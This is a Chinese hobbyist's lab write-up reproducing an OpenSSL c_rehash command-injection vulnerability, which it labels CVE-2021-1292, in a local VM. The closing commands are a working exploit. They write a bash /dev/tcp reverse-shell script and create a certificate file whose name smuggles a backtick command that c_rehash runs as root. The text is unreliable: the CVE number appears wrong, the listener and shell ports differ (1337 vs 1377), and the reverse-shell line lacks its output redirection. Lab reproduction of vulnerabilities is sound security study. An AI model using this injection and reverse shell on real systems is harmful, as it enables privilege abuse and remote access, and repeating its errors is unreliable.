作为一名爱好者,非专业人士。只能用自己理解一步一步操作。
关于CVE-2021-1292,为什么想做这个实验,是刚好看网上提到一个视频,心血来潮做的。
关于这个复现,我用的是ubuntu23.10镜像,用VMware进行安装,安装过程十分缓慢(๑•ี_เ•ี๑)
后面终于安装成功,总是打不开虚拟机,后面发现是开了3D加速图形。
后面就进入到虚拟机中,因为前面一阵捣鼓,已经安装openssl3.0.10版本,我不太想卸载这个版本就没去卸载它,并且为了防止做实验出意外,在搞之前对我当前自己的虚拟机状态做了快照保存(就算后面出了意外,我还是可以进行恢复),搞定快照后就是正式开始做实验。
按照网上openssl官网去下载版本链接,在/usr/lib/ 文件中创建openssl新文件夹,并进入进行用wget进行文件下载。这里有一个问题,因为openssl源码是托管在github中,所以虚拟机必须进行处理以便可以访问github.com,这里我用的是hosts方法,但是,时好时坏。然后又试了fastgithub项目但是浏览器访问得到,终端又不行。最终还是靠着hosts那微弱的下载速度完成下载(这个方法在我另一台kali机器中没问题)。下载完,用下面命令进行解压。
cd /usr/lib/
sudo mkdir openssl
cd openssl
wget https://www.openssl.org/source/old/3.0/openssl-3.0.1.tar.gz
tar -zxvf openssl-3.0.1.tar.gz
解压完成后,在openssl下有一个openssl-3.0.1文件夹,这个就是解压出来的源代码,进入openssl-3.0.1文件夹中,我们对它进行配置和编译
cd openssl-3.0.1
sudo ./config --prefix=/usr/lib/openssl/openssl/openssl-3.0.1
sudo make && sudo make install
经过漫长时间等待,会完成安装。在/usr/lib/openssl目录下会多出一个openssl目录,并且/usr/lib/openssl/openssl下,会有一个openssl3.0.1的目录,里面有编译完的openssl程序在bin目录下,我们可以进行如下命令确定是否为openssl 3.0.1。
./openssl version
安装完之后,我们就可以进行这个漏洞测试,这里我不太懂,好像它是可以执行任意命令(后面扩展还需要了解一下)。打开另一个终端输入nc -lvnp 1337监听1337端口,在本终端执行下面命令反弹一个shell给本地1377端口。
echo 'bash -i /dev/tcp/127.0.0.1/1377 0>&1 ' > ~/shell.sh
cd ~
echo "-----BEGIN CERTIFICATE-----" > "shell.crt\`bash shell.sh\`"
sudo /usr/lib/openssl/openssl/openssl-3.0.1/bin/c_rehash .
这里可以看到反弹成功,实验基本成功,对于cve漏洞的扩展,还得自己进行学习,在实验中遇到很多困难,但是还是克服,收获颇深。